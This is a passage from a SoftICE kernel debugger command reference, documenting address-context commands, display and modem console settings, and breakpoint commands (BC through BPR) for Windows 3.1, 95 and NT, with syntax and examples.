address context list more than once. If you specify an owner name as a parameter, SoftICE
always selects the first address context with a matching name in the list. To switch to the
address context of a second or third instance of an application, provide an address context-
handle to the ADDR command.

Note: If SoftICE pops up when the System VM (VM 1) is not the current VM, it is possible
for context owner information to be paged out and unavailable. In these cases no
owner information displays.

%Output
For each context or process, the following information displays.
%Handle
Address of the context control block. This is the handle that is passed
in VxD calls that require a context handle.
%Pgtptr

Address of an array of page table addresses. Each entry in the array
represents a page table pointer. When address contexts switch, the
appropriate location in the page directory receives a copy of this array.
%Tables
Number of entries in the PGTPTR array. Not all entries contain valid
page directory entries. This is only the number of entries reserved.
%MinAddr
Minimum linear address of the address context.
%MaxAddr
Maximum address of the address context.
%Mutex
Mutex handle used when VMM manipulates the page tables for the context.
%Owner
Name of the first process that uses this address context.

%Example
The following command displays all currently active address contexts. The
context on the top
line of the display is the context that SoftICE popped up in. To switch back to
this at any
time, use the . (DOT) command. When displaying information on all contexts, one
line is
highlighted, indicating the current context within SoftICE. When displaying
data or
disassembling code, the highlighted context is the one you see.

```
.:ADDR
Handle PGTPTR Tables Min Addr Max Addr Mutex Owner
C1068D00 C106CD0C 0200 00400000 7FFFF000 C0FEC770 WINWORD
C104E214 C1068068 0200 00400000 7FFFF000 C1063DBC Rundll32
C105AC9C C0FE5330 0002 00400000 7FFFF000 C0FE5900 QUICKRES
C1055EF8 C105CE8C 0200 00400000 7FFFF000 C105C5EC Ibserver
C1056D10 C10571D4 0200 00400000 7FFFF000 C1056D44 Mprexe
C10D900C C10D9024 0002 00400000 7FFFF000 C10D9050 (current context)
C10493E8 C10555FC 0004 00400000 7FFFF000 C0FE6460 KERNEL32
C1055808 C105650C 0200 00400000 7FFFF000 C105583C MSGSRV32
C10593CC C1059B78 0200 00400000 7FFFF000 C105908C Explorer
C106AE70 C106DD10 0200 00400000 7FFFF000 C10586F0 Exchng32
C106ABC4 C106ED04 0200 00400000 7FFFF000 C106CA4C Mapisp32
Handle PGTPTR Tables Min Addr Max Addr Mutex Owner
```

:ADDR (NT)
^ADDR Windows NT SystemInformation
^Display or switch to an address context.

%Syntax
ADDR [process-name | process-id | KPEB]
KPEB: Kernel Process Environment Block.

%Use
Use the ADDR command to both display and change address contexts within SoftICE
so that
process-specific data and code can be viewed. Using ADDR with no parameters
displays a list
of all address contexts.

If you specify a parameter, SoftICE switches to the address context belonging
to the process
with that name, identifier, or process control block address.

If you switch to an address context that contains an LDT, SoftICE sets up the
LDT with the
correct base and limit.

All commands that use an LDT only work when the current SoftICE context contains an
LDT. LDTs are never global under Windows NT.

Under low memory conditions, Windows NT starts swapping data to disk, including inactive
processes, parts of the page directory, and page tables. When this occurs, SoftICE may not be
able obtain the information necessary to switch to contexts that rely on this information.
SoftICE indicates this by displaying the message swapped in the CR3 field of the process or
displaying an error message if an attempt is made to switch to the context of the process.
When displaying information about all contexts, one line is highlighted, indicating the
current context within SoftICE. When displaying data or disassembling code, the highlighted
context is the one you see.

An * (asterisk) precedes one line of the display, indicating the process that was active when
SoftICE popped up. Use the . (DOT) command to switch contexts back to this context at any
time.

%Output

For each context or process, the following information is shown:

%CR3

Physical address of the page directory that is placed into the CR3
register on a process switch to the process.

%LDT

If the process has an LDT, this field has the linear base address of the
LDT and the limit field for the LDT selector. All Windows NT
processes that have an LDT use the same LDT selector. For process
switches, Windows NT sets the base and limit fields of this selector.

%KPEB

Linear address of the Kernel Process Environment Block for the
process.

%PID

Process ID. Each process has a unique ID.

%NAME

Name of the process.

%Example

The following example shows the ADDR command being used without parameters to display
all the existing contexts.

```
:ADDR
PROC
CR3 LDT Base:Limit KPEB PID NAME
00030000 FD8EA920 0002 System
011FB000 FD8CD880 0013 smss
017A5000 FD8BFB60 0016 csrss
01B69000 FD8BADE0 001B winlogon
01CF3000 FD8B6B40 0027 services
01D37000 FD8B5760 0029 lsass
00FFA000 FD8A8AE0 0040 spoolss
009A5000 FD89F7E0 002B nddeagnt
00AA5000 FD89CB40 004A progman
006D2000 E115F000:FFEF FD899DE0 0054 ntvdm
00837000 FD896D80 0059 CLOCK
```

00C8C000 FD89C020 0046 scm
 00387000 FD89E5E0 004E 4NT
*0121C000 E1172000:0187 FD88CCA0 0037 ntvdm
 00030000 8013DD50 0000 Idle

:ALTKEY
^ALTKEY Windows 3.1, Windows 95, Windows NT Customization
^Set an alternate key sequence to invoke SoftICE.

%Syntax
 ALTKEY [Alt letter | Ctrl letter]
 letter Any letter (A through Z).

%Use
 Use the ALTKEY command to change the key sequence (default key Ctrl-D) for popping up
 SoftICE. Occasionally another program may conflict with the hot key sequence. You can
 change the key sequence to either of the following sequences:
 Ctrl + letter
 or
 Alt + letter
 If you do not specify a parameter, the current hot key sequence displays.
 To change the hot key sequence every time you run SoftICE, Configure SoftICE in the
 SoftICE Loader to place the ALTKEY command in the SoftICE initialization string.

%Example
 To specify that the key sequence Alt-Z pop up the SoftICE screen, use the following
 command:
 ALTKEY alt z

:ALTSCR
^ALTSCR Windows 3.1, Windows 95, Windows NT WindowControl
^Display SoftICE on an alternate screen.

%Syntax
 ALTSCR [on | off]

%Use
 Use the ALTSCR command to redirect the SoftICE output from the default screen to an
 alternate monochrome monitor.

 ALTSCR requires the system to have two monitors attached. The alternate monitor should be
 a monochrome monitor in a character mode (the default mode).

 The default setting is ALTSCR mode OFF.

 Hint: To change the SoftICE display screen every time you run SoftICE, place the ALTSCR
 command in the Initialization string within your SoftICE configuration settings. Refer
 to Chapter 8, ``Customizing SoftICE'' in the Using SoftICE guide.

 In the SoftICE program group, use Video Setup to select the monochrome monitor. SoftICE
 automatically starts out in monochrome mode making the ALTSCR command unnecessary.

Also use this setting if you are experiencing video problems even when ALTSCR ON is in the
initialization string.

%For Windows 95
You can also start WINICE with the /M parameter to bypass the initial VGA programming
and force SoftICE to the alternate monochrome screen. This is useful if your video board
experiences conflicts with the initial programming.

%Example
To redirect screen output to the alternate monitor, use the following command:
ALTSCR on

:ANSWER
^ANSWER Windows 95, Windows NT Customization
^Auto-answer and redirect console to modem.

%Syntax
ANSWER [on [com-port] [baud-rate] [i=init] | off]
com-port: If no com-port is specified it uses COM1.
baud-rate: Baud-rate to use for modem communications. The default is 38400.
The rates include 1200, 2400, 4800, 9600, 19200, 23040, 28800,
38400, 57000, 115000.
i=init: Optional modem initialization string.

%Use
The ANSWER command allows SoftICE to answer an incoming call and redirect all output
to a connecting PC running the SERIAL.EXE program in dial mode. After the command is
executed, SoftICE listens for incoming calls on the specified com-port while the machine
continues normal operation. Incoming calls are generated by the SERIAL.EXE program on a
remote machine.

You can place a default ANSWER initialization string in the SoftICE configuration settings.
Refer to Chapter 8, ``Customizing SoftICE'' in the Using SoftICE guide.

When SoftICE detects a call being made after the ANSWER command has been entered, it
pops up and indicates that it is making a connection with a remote machine, then pops down.
The local machine appears to be hung while a remote connection is in effect.
The ANSWER command can be cancelled at any time with ANSWER OFF. This stops
SoftICE from listening for incoming calls.

%Example
The following is an example of the ANSWER command. SoftICE first initializes the modem
on com-port 2 with the string ``atx0,'' and then returns control to the command prompt.
From that point on it answers calls made on the modem and attempts to connect at a baud
rate of 38400bps.
ANSWER on 2 38400 i=atx0

The following is an example of a default ANSWER initialization string statement in your

SoftICE configuration settings. With this statement in place, SoftICE always initializes the
modem specified in ANSWER commands with ``atx0,'' unless the ANSWER command
explicitly specifies an initialization string.
ANSWER=atx0
See Also ~SERIAL~

:BC
^BC Windows 3.1, Windows 95, Windows NT ManipulatingBreakpoints
^Clear one or more breakpoints.

%Syntax
BC list | *
list: Series of breakpoint indexes separated by commas or spaces.
*: Clears all breakpoints.

%Example
To clear all breakpoints, use the command:
BC *

To clear breakpoints 1 and 5, use the command:
BC 1 5

If you use the BL command (list breakpoints), the breakpoint list will be empty until you
define more breakpoints.

:BD
^BD Windows 3.1, Windows 95, Windows NT ManipulatingBreakpoints
^Disable one or more breakpoints.

%Syntax
BD list | *
list: Series of breakpoint indexes separated by commas or spaces.
*: Disables all breakpoints.

%Use
Use the BD command to temporarily deactivate breakpoints. Reactivate the breakpoints with
the BE command (enable breakpoints).

To tell which of the breakpoints are disabled, list the breakpoints with the BL command. A
breakpoint that is disabled has an * (asterisk) after the breakpoint index.

%Example
To disable breakpoints 1 and 3, use the command:
BD 1 3

:BE
^BE Windows 3.1, Windows 95, Windows NT ManipulatingBreakpoints
^Enable one or more breakpoints.

%Syntax BE list | *
list: Series of breakpoint indexes separated by commas or spaces.
*: Enables all breakpoints.

%Use
Use the BE command to reactivate breakpoints that you deactivated with
the BD command (disable breakpoints). Note: You automatically enable a
breakpoint when you first define it or edit it.

%Example

To enable breakpoint 3, use the command: BE 3

:BH
^BH Windows 3.1, Windows 95, Windows NT Manipulating Breakpoints
^List and/or select previously set breakpoints from the breakpoint history.

%Syntax
BH

%Use
Use the BH command to recall breakpoints that you set in both the current and previous
SoftICE sessions. All saved breakpoints display in the Command window and can be selected
using the following keys:
%UpArrow
Positions the cursor one line up. If the cursor is on the top line of the
Command window, the list scrolls.
%DownArrow
Positions the cursor one line down. If the cursor is on the bottom line
of the Command window, the list scrolls.
%Insert
Selects the breakpoint at the current cursor line, or deselects it if
already selected.
%Enter
Sets all selected breakpoints.
%Esc
Exits breakpoint history without setting any breakpoints.

SoftICE saves the last 32 breakpoints.

%For Windows 3.1 and Windows 95
Each time Windows exits normally, these breakpoints are written to the WINICE.BRK file in
the same directory as WINICE.EXE. Every time SoftICE is loaded, it reads the breakpoint
history from the WINICE.BRK file.

%For Windows 95
IF you choose to configure Windows 95 to load SoftICE before WIN.COM by appending
\siw95\winice.exe to the end of your AUTOEXEC.BAT, Windows 95 does not return control
to SoftICE when it shuts down unless you set the BootGUI option in MSDOS.SYS to
BootGUI=0. If this option is set to BootGUI=1, SoftICE does not save the break-point
history file. Refer to Chapter 2, ``Installing SoftICE,'' in the Using SoftICE manual for more
information about configuring when SoftICE loads.

%For Windows NT
Breakpoints are written to the WINICE.BRK file in the \SYSTEMROOT\SYSTEM32
\DRIVERS directory.

%Example
To select any of the last 32 breakpoints from current and previous SoftICE sessions, use the
command:
BH

:BL
^BL Windows 3.1, Windows 95, Windows NT ManipulatingBreakpoints
^List all breakpoints.

%Syntax
 BL

%Use
 The BL command displays all breakpoints that are currently set. For each breakpoint, BL lists
 the breakpoint index, breakpoint type, breakpoint state, and any conditionals or breakpoint
 actions.

 The state of a breakpoint is either enabled or disabled. If you disable the breakpoint, an *
 (asterisk) appears after its breakpoint index. If SoftICE is activated due to a breakpoint, that
 breakpoint is highlighted.

 The BL command has no parameters.

%Example
 To display all the breakpoints that have been defined, use the command.
 BL

% For Windows 3.1
 Note: Breakpoint 1 has an * (asterisk) following it, showing that it was disabled.

% For Windows 95 and Windows NT
 0 BPMB #30:123400 W EQ 0010 DR3 C=03
 1* BPR #30:80022800 #30:80022FFF W C=01
 2 BPIO 0021 W NE 00FF C=01
 3 BPINT 21 AH=3D C=01
 00) BPX #8:80102A4B IF (EAX==1) DO ``DD ESI''
 01) * BPX _LockWindowInfo
 02) BPMD #013F:0063F8A0 RW DR3
 03) BPINT 2E IF (EAX==0x1E)

:BMSG
^BMSG Windows 3.1, Windows 95, Windows NT Breakpoints
^Set a breakpoint on one or more Windows messages.

%Syntax For Windows 3.1
 BMSG window-handle [L] [begin-msg [end-msg]] [c=count]

%For Windows 95 and Windows NT
 BMSG window-handle [L] [begin-msg [end-msg]] [IF expression]
 [DO "command1;command2;..."]

 window-handle: HWND value returned from CreateWindow or CreateWindowEX.
 begin-msg: Single Windows message or lower message number in a range of
   Windows messages. If you do not specify a range with an end-msg,
   only the begin-msg will cause a break.
   Note: For both begin-msg and end-msg, the message numbers can be
   specified either in hexadecimal or by using the actual ASCII names of
   the messages, for example, WM_QUIT.
 end-msg: Higher message number in a range of Windows messages.
 L: Logs messages to the SoftICE Command window.
 c=: Breakpoint trigger count.
 IF expression Conditional expression: the expression must evaluate to TRUE (non-
   zero) for the breakpoint to trigger.
 DO: command Breakpoint action: A series of SoftICE commands can execute when
   the breakpoint triggers.

Note: You can combine breakpoint count functions (BPCOUNT, BPMISS, BPTOTAL, BPLOG, and BPINDEX) with conditional expressions to monitor and control breakpoints based on the number of times a particular breakpoint has or has not triggered. See Chapter 6, ``Using Breakpoints,'' in the Using SoftICE manual.

%Use
The BMSG command is used to set breakpoints on a window's message handler that will
trigger when they receive messages that either match a specified message type, or fall within an
indicated range of message types.
. If you do not specify a message range, the breakpoint applies to ALL Windows messages.
. If you specify the L parameter, SoftICE logs the messages into the Command window
instead of popping up when the message occurs.

When SoftICE does pop up on a BMSG breakpoint, the instruction pointer (CS:[E]IP) is on
the first instruction of the message handling procedure. Each time SoftICE breaks, the current
message displays in the following format:

hWnd=xxxx wParam=xxxx lParam=xxxxxxxx msg=xxxx message-name

Note: These are the parameters that are passed to the message procedure. All numbers are
hexadecimal. The message-name is the Windows defined name for the message.

To display valid Windows messages, enter the WMSG command with no parameters. To
obtain valid window handles, use the HWND command.

You may set multiple BMSG breakpoints on one window-handle, although the message
ranges for the breakpoints may not overlap.

%Example
This command sets a breakpoint on the message handler for the Window that has the handle
9BC. The breakpoint triggers and SoftICE pops up when the message handler receives
messages with a type within the range WM_MOUSEFIRST to WM_MOUSELAST,
inclusive (which includes all of the Windows mouse messages).
.:BMSG 9BC wm_mousefirst wm_mouselast

The next command places a breakpoint on the message handler for the Window with the
handle F4C. The L parameter causes the breakpoint information to be logged to the SoftICE
Command window, instead of having SoftICE pop up when the breakpoint is triggered. The
message range that the breakpoint triggers on includes any message with a type value less than
or equal to WM_CREATE. Output from this breakpoint being triggered can be viewed by
popping into SoftICE and scrolling through the command buffer.
.:BMSG f4c L 0 wm_create

:BPE
^BPE Windows 3.1, Windows 95, Windows NT ManipulatingBreakpoints
^Edit a breakpoint description.

%Syntax
 BPE breakpoint-index
 breakpoint-index: Breakpoint index number.

%Use
 The BPE command allows you to edit or replace an existing breakpoint. Use the editing keys
 to edit the breakpoint description. Press Enter to save a new breakpoint description. This
 command offers a quick way to modify the parameters of an existing breakpoint.

 Warning: BPE first clears the breakpoint before loading it into the edit line. If you then press
 the Escape key, the breakpoint is cleared. To retain the original breakpoint and
 create another one, use the BPT command, which uses the original breakpoint as
 an editing template without first deleting it.

 Conditional expressions and breakpoint actions are expanded as parts of the breakpoint
 expression.
%Example
 This command allows the definition for breakpoint 1 to be edited.
 .:BPE 1

 When the command is entered, SoftICE displays the existing breakpoint definition and
 positions the input cursor just after the breakpoint address.
 .:BPE 1
 .:BPX 80104324 if (eax==1) do ``dd esi''

 To re-enter the breakpoint, press the Enter key. To clear the breakpoint, press the Escape key.

:BPINT
^BPINT Windows 3.1 Breakpoints
^Set a breakpoint on an interrupt.

%Syntax
 BPINT int-number [al|ah|ax=value] [c=count]

 int-number: Interrupt number from 0 - 5Fh.
 value: Byte or word value.
 c=: Breakpoint trigger count.

%Use
 Use the BPINT command to pop up SoftICE whenever a specified processor exception,
 hardware interrupt, or software interrupt occurs. The AX register qualifying value
 (AL=, AH=, or AX=) can be used to set breakpoints that trigger only when the AX register at
 the time that the interrupt or exception occurs matches the specified value. This capability is
 often used to selectively set breakpoints for DOS and BIOS calls. If an AX register value is not
 entered, the breakpoint occurs anytime the interrupt or exception occurs, regardless of the
 value of the AX register at the time.

 For breakpoints that trigger for hardware interrupts or processor exceptions, the instruction

pointer (CS:EIP) at the time SoftICE pops up will point at the first instruction of the
interrupt or exception handler routine pointed at by the IDT. If a software interrupt triggers
the breakpoint, the instruction pointer (CS:EIP) points at the INT instruction that caused
the breakpoint.

BPINT only works for interrupts that are handled through the IDT.
In addition, Windows maps hardware interrupts, which by default map to vectors 8-Fh and
70h-77h, to higher numbers to prevent conflicts with software interrupts. The primary
interrupt controller is mapped from vector 50h-57h. The secondary interrupt controller is
mapped from vector 58h-5Fh.

Example: IRQ0 is INT50h and IRQ8 is INT58h.

If a BPINT goes off due to a software interrupt instruction in a DOS VM, control will be
transferred to the Windows protected mode interrupt handler for protection faults, which
eventually call down to the appropriate DOS VM's interrupt handler (pointed at by the DOS
VM's Interrupt Vector Table). To go directly to the DOS VM's interrupt handler after the
BPINT has occurred on a software interrupt instruction, use the following command:
G @$0:int-number*4

%Example
The following command defines a breakpoint for interrupt 21h. The breakpoint occurs when
DOS function call 4Ch (terminate program) is called. At the time SoftICE pops up, the
instruction pointer will point at the INT instruction in the DOS VM.
BPINT 21 ah=4c

The next command sets a breakpoint that triggers on each and every tick of the hardware
clock (in general this is not recommended for the obvious reason that it triggers very often!).
At the time SoftICE pops up, the instruction pointer will be at the first instruction of the
Windows interrupt handler for interrupt 50h.
BPINT 50

:BPINT (NT)
^BPINT Windows 95, Windows NT Breakpoints
^Set a breakpoint on an interrupt.

%Syntax
BPINT int-number [IF expression] [DO "command1;command2;..."]
int-number: Interrupt number from 0 - FFh.
IF expression: Conditional expression: the expression must evaluate to TRUE (non-
zero) for the breakpoint to trigger
DO command Breakpoint action: A series of SoftICE commands can execute when
the breakpoint triggers.

Note: You can combine breakpoint count functions (BPCOUNT, BPMISS, BPTOTAL,

BPLOG, and BPINDEX) with conditional expressions to monitor and control breakpoints based on the number of times a particular breakpoint has or has not triggered. See Chapter 6, ``Using Breakpoints,'' in the Using SoftICE manual.

%Use
Use the BPINT command to pop up SoftICE whenever a specified processor exception,
hardware interrupt, or software interrupt occurs. The IF option allows arbitrary filtering of
interrupts that result in breakpoints. The DO option provides the ability to associate SoftICE
commands with interrupts such that they execute any time the interrupt breakpoint triggers.

For breakpoints that trigger for hardware interrupts or processor exceptions, the instruction
pointer (CS:EIP) at the time SoftICE pops up will point at the first instruction of the
interrupt or exception handler routine pointed at by the IDT. If a software interrupt triggers
the breakpoint, the instruction pointer (CS:EIP) will point at the INT instruction that caused
the breakpoint.

BPINT only works for interrupts that are handled through the IDT.

If a software interrupt occurs in a DOS VM, control is transferred to a Windows protected
mode interrupt handler, which eventually calls down to the DOS VM's interrupt handler
(pointed at by the DOS VM's Interrupt Vector Table). To go directly to the DOS VM's
interrupt handler after the BPINT has occurred on a software interrupt instruction, use the
following command:
G @ &0:(int-number*4)

Windows maps hardware interrupts, which by default map to vectors 8-Fh and 70h-77h, to
higher numbers to prevent conflicts with software interrupts. The primary interrupt
controller is mapped from vector 50h-57h. The secondary interrupt controller is mapped
from vector 58h-5Fh.
Example: IRQ0 is INT50h and IRQ8 is INT58h.

For Windows NT
Windows NT maps hardware interrupts, which by default map to vectors 8-Fh and 70h-77h,
to higher numbers to prevent conflicts with software interrupts. The primary interrupt
controller is mapped from vector 30h-37h. The secondary interrupt controller is mapped
from vector 38h-3Fh.
Example: IRQ0 is INT30h and IRQ8 is INT38h

%Example
The following example results in Windows NT system call (software interrupt 2Eh)
breakpoints only being triggered if the thread making the system call has a thread ID (TID)
equal to the current thread at the time the command is entered (_TID). Each time the

breakpoint hits, the contents of the address 82345829h are dumped as a result of the DO
option.
BPINT 2e if tid==_tid do "dd 82345829"

:BPIO
^BPIO Windows 3.1, Windows 95, Windows NT Breakpoints
^Set a breakpoint on an I/O port access.

%Syntax
For Windows 3.1
BPIO port [verb] [qualifier value] [c=count]

For Windows 95
BPIO [-h] port [verb] [IF expression] [DO "command1;command2;..."]

For Windows NT
BPIO port [verb] [IF expression] [DO "command1;command2;..."]

port: Byte or word value.
verb
qualifier
value: Byte, word, or dword value.
c=: Breakpoint trigger count.

Value	Description
R	Read (IN)
W	Write (OUT)
RW	Reads and Writes

Value	Description
EQ	Equal
NE	Not Equal
GT	Greater Than
LT	Less Than
M	Mask.

A bit mask is represented as a combination of 1's, 0's and X's. X's are don't-care bits. Qualifier, value, and C= are not valid for Windows 95 and Windows NT.

-h: Use hardware debug registers to set a breakpoint in Vxd. Available for Pentium-class processors on Windows 95 only.
IF expression Conditional expression: the expression must evaluate to TRUE (non-zero) for the breakpoint to trigger.
DO command Breakpoint action: A series of SoftICE commands can execute when the breakpoint triggers.

Note: You can combine breakpoint count functions (BPCOUNT, BPMISS, BPTOTAL, BPLOG, and BPINDEX) with conditional expressions to monitor and control breakpoints based on the number of times a particular breakpoint has or has not triggered. See Chapter 6, ``Using Breakpoints,'' in the Using SoftICE manual.

%Use
Use the BPIO instruction to have SoftICE pop up whenever a specified I/O port is accessed in
the indicated manner. When a BPIO breakpoint triggers, the instruction pointer (CS:EIP)
points to the instruction following the IN or OUT instruction that caused the breakpoint.
If you do not specify a verb, RW is the default.

For Windows 3.1

If you specify verb and value parameters, the value specified is compared with, according to
the verb, the actual data value read or written by the IN or OUT instruction causing the
breakpoint. The value may be a byte, a word, or a dword. The possible verbs allow for
comparisons of equality, inequality, greater-than-or-equal, less-than-or-equal, and logical
AND comparison.

For Windows 3.1 and Windows 95
Due to the behavior of the x86 architecture, BPIO breakpoints are only active while the
processor is executing in the RING 3 privilege level. This means that I/O activity performed
by RING 0 code such as VxDs and the Windows VMM are not trapped by BPIO
breakpoints. For Windows 95 only, use the -H switch to force SoftICE to use the hardware
debug registers. This lets you trap I/O performed at Ring 0 in VxDs.
Windows virtualizes many of the system I/O ports, meaning that VxDs have registered
handlers that are called when RING 3 accesses are made to the ports. To get a list of
virtualized ports, use the TSS command. The command shows each hooked I/O port plus the
address of its associated handler and the name of the VxD that owns it. To see how a
particular port is virtualized, set a BPX on the address of the I/O handler.

For Windows NT
The BPIO command uses the debug register support provided on the Pentium, therefore,
I/O breakpoints are only available on Pentium-class machines.

When using debug registers for I/O breakpoints, all physical I/O instructions (non-emulated)
are trapped no matter what privilege level they are executed from. This is different from using
the I/O bit map to trap I/O, as is done for SoftICE running under Windows 3.1 and
Windows 95 (without the -H switch). The I/O bit map method can only trap I/O done from
user-level code, whereas a drawback of the debug register method for trapping port I/O is that
it does not trap emulated I/O such as I/O performed from a DOS box.

Due to limitations in the number of debug registers available on x86 processors, a maximum
of four BPIOs can be set at any given time.

%Example
The following commands define conditional breakpoints for accesses to port 21h (interrupt
control 1's mask register). The breakpoints only trigger if the access is a write access, and the
value being written is not FFh.
. For Windows 3.1
Use this command: BPIO 21 w ne ff
. For Windows 95 and Windows NT
Use this command: BPIO 21 w if (al!=0xFF)

Note: In the Windows NT example, you should be careful about intrinsic assumptions

being made about the size of the I/O operations being trapped. The port I/O to be
trapped is OUTB. An OUTW with AL==FFh also triggers the breakpoint, even
though in that case the value in AL ends up being written to port 22h.

The following example defines a conditional byte breakpoint on reads of port 3FEh. The
breakpoint occurs the first time that I/O port 3FEh is read with a value that has the two high-
order bits set to 1. The other bits can be of any value.
. For Windows 3.1 Use this command: BPIO 3fe r eq m 11xx xxxx
. For Windows 95 and Windows NT Use this command: BPIO 3fe r if ((al & 0xC0)==0xC0)

:BPM
^BPM Windows 3.1, Windows 95, Windows NT Breakpoints
^Set a breakpoint on memory access or execution.

%Syntax
For Windows 3.1
BPM[size] address [verb] [qualifier value] [debug-reg] [c=count]

For Windows 95 and Windows NT
BPM[size] address [verb] [debug-reg] [IF expression]
[DO "command1;command2;..."]

size: Size is actually a range covered by this breakpoint. For example, if you
use double word, and the third byte of the dword is modified, a
breakpoint occurs. The size is also important if you specify the
optional qualifier.

verb

Value	Description
B	Byte
W	Word
D	Double Word

Value	Description
R	Read
W	Write
RW	Reads and Writes
X	Execute

qualifier: These qualifiers are only applicable to read and write breakpoints, not
execution breakpoints.
value: Byte, word, or double word value, depending on the size you specify.
debug-reg
c=: Breakpoint trigger count.
IF expression Conditional expression: the expression must evaluate to TRUE (non-
zero) for the breakpoint to trigger.
DO command Breakpoint action: A series of SoftICE commands can execute when
the breakpoint triggers.

Note: You can combine breakpoint count functions (BPCOUNT, BPMISS, BPTOTAL,
BPLOG, and BPINDEX) with conditional expressions to monitor and control
breakpoints based on the number of times a particular breakpoint has or has not
triggered. See Chapter 6, ``Using Breakpoints,'' in the Using SoftICE manual.
%Use
Use BPM breakpoints to have SoftICE pop up whenever certain types of accesses are made to

memory locations. The size and verb parameters allow for the accesses to be filtered according
to their type, and the DO parameter (Windows NT only) allows for arbitrary SoftICE
commands to be executed each time the breakpoint is hit.
If you do not specify a debug register, SoftICE uses the first available debug register starting
from DR3 and working backwards. You should not include a debug register unless you are
debugging an application that uses debug registers itself such as a debugging tool.

Value	Description
EQ	Equal
NE	Not Equal
GT	Greater Than
LT	Less Than
M	Mask. A bit mask is represented as a combination of 1's, 0's and X's. The X's are don't-care bits.

Value :
DR0
DR1
DR2
DR3
Qualifier, value, and C= are not valid for Windows 95 and Windows NT.

If you do not specify a verb, RW is the default.

If you do not specify a size, B is the default.

For all the verb types except X, SoftICE pops up after the instruction that causes the
breakpoint to trigger has executed. The CS:EIP points at the instruction in the code stream
following the trapped instruction. In the case of the X verb, SoftICE pops up before the
instruction causing the breakpoint to trigger has executed. The CS:EIP therefore points at the
instruction where the breakpoint was set.

If you specify the R verb, breakpoints occur on read accesses and on write operations that do
not change the value of the memory location.

If the verb is R, W or RW, executing an instruction at the specified address does not cause the
breakpoint to occur.

If you set a breakpoint using BPMW it is a word-sized memory breakpoint, then the specified
address must start on a word boundary. If you set a breakpoint using BPMD the memory
breakpoint is dword sized, then the specified address must start on a double word boundary.

For Windows 3.1
The count parameter can be used to have a breakpoint trigger only after it has been hit a
specified number of times. The default count value is 1, meaning that the breakpoint triggers
the first time the breakpoint condition is satisfied. The count is reset each time the breakpoint
triggers.

For Windows 95
BPM breakpoints set in the range 400000 - 7FFFFFFF (WIN32 applications) are address-
context sensitive. That is, they are triggered only when the address context in which the
breakpoint was set is active. If a BPM is set in a DLL that exists in multiple contexts, the
breakpoint is armed in all the contexts in which it exists. For example, if you set a BPM X
breakpoint in KERNEL32 it could break in any context that contains KERNEL32.DLL.

For Windows NT
Any breakpoint set on an address below 80000000h (2 GB) is address-context sensitive. This
includes WIN32 and DOS V86 applications. Take care to ensure you are in the correct
context before setting a breakpoint.

%Example
The following example defines a breakpoint on memory byte access to the address pointed at
by ES:DI+1Fh. The first time that 10h is written to that location, the breakpoint triggers.
. For Windows 3.1 Use the command: BPM es:di+1f w eq 10
. For Windows 95 and Windows NT Use the command: BPM es:di+1f w if (*(es:di+1f)==0x10)

The next example defines an execution breakpoint on the instruction at address
CS:80204D20h. The first time that the instruction at the address is executed, the breakpoint
occurs.
. For Windows 3.1, Window 95, and Windows NT Use the command: BPM CS:80204D20 x

The following example defines a word breakpoint on a memory write. The breakpoint occurs
the first time that location Foo has a value written to it that sets the high order bit to 0 and the
low order bit to 1. The other bits can be any value.
. For Windows 3.1 Use the command: BPMW foo e eq m 0xxx xxxx xxxx xxx1

This example sets a byte breakpoint on a memory write. The breakpoint triggers the first time
that the byte at location DS:80150000h has a value written to it that is greater than 5.
. For Windows 3.1 Use the command: BPM ds:80150000 w gt 5
. For Windows 95 and Windows NT Use the command: BPM ds:80150000 if (byte(*ds:80150000)>5)

:BPR
^BPR Windows 3.1, Windows 95 Breakpoints
^Set a breakpoint on a memory range.

%Syntax
Windows 3.1
BPR start-address end-address [verb] [c=count]

Windows 95
BPR start-address end-address [verb] [IF expression]
[DO "command1;command2;..."]

start-address: Beginning of memory range.

end-address: Ending of memory range.
verb
c=: Breakpoint trigger count.
IF expression Conditional expression: the expression must evaluate to TRUE (non-
zero) for the breakpoint to trigger.
DO command Breakpoint action: A series of SoftICE commands can execute when
the breakpoint triggers.

Note: You can combine breakpoint count functions (BPCOUNT, BPMISS, BPTOTAL,
BPLOG, and BPINDEX) with conditional expressions to monitor and control
breakpoints based on the number of times a particular breakpoint has or has not
triggered. See Chapter 6, ``Using Breakpoints,'' in the Using SoftICE manual.

Value	Description
R	Read
W	Write
RW	Reads and Writes
T	Back Trace on Execution
TW	Back Trace on Memory Writes

%Use
Use the BPR command to set breakpoints that trigger whenever certain types of accesses are
made to an entire address range.

There is no explicit range breakpoint for execution access, however, execution breakpoints on
ranges can be obtained with the R verb. An instruction fetch is considered a read for range
breakpoints.

If you do not specify a verb, W is the default.

The range breakpoint degrades system performance in certain circumstances. Any read or
write within the 4KB page that contains a breakpoint range is analyzed by SoftICE to
determine if it satisfies the breakpoint condition. This performance degradation is usually not
noticeable, however, degradation could be extreme in cases where there are frequent accesses
to the range.

The T and TW verbs enable back trace ranges on the specified range. They do not cause
breakpoints, but instead result in information about all instructions that would have caused
the breakpoint to trigger to be written to a log that can be displayed with the SHOW or
TRACE commands.

When a range breakpoint is triggered and SoftICE pops up, the current CS:EIP points at the
instruction that caused the breakpoint.

Range breakpoints are always set in the page tables that are active when the BPR command is
entered. Therefore, if range addresses are below 4MB, the range breakpoint will be tied to the
virtual machine that is current when BPR is entered. Because of this fact, there are some areas
in memory where range breakpoints are not supported. These include the page tables, GDT,

IDTs, LDT, and SoftICE. If you try to set a range breakpoint or back trace range over one of
these areas, SoftICE returns an error.

There are two other data areas in which you cannot place a range breakpoint, but if you do
SoftICE will not complain. These are Windows level 0 stacks and critical areas in the VMM.
Windows level 0 stacks are usually in separately allocated data segments. If you set a range
over a level 0 stack or a critical area in VMM, you could hang the system.
If the memory that covers the range breakpoint is swapped or moved, the range breakpoint
follows it.

For Windows 3.1
The count parameter can be used to have a breakpoint trigger only after it has been hit a
specified number of times. The default count value is 1, meaning that the breakpoint will
trigger the first time the breakpoint condition is satisfied. The count is reset each time the
breakpoint triggers.

For Windows 95
Due to a change in system architecture, BPRs are no longer supported in level 0 code. Thus,
you cannot use BPRs to trap VxD code.

%Example
The following example defines a breakpoint on a memory range. The breakpoint occurs if
there are any writes to the memory between addresses ES:0 and ES:1FFF:
BPR es:0 es:1fff w

:BPRW
^BPRW Windows 3.1, Windows 95 Breakpoints
^Set range breakpoints on Windows program or code segment.

%Syntax
For Windows 3.1
BPRW module-name | selector [verb]

For Windows 95
BPRW module-name | selector [verb] [IF expression]
[DO "command1;command2;..."]

module-name: Any valid Windows Module name that contains executable code
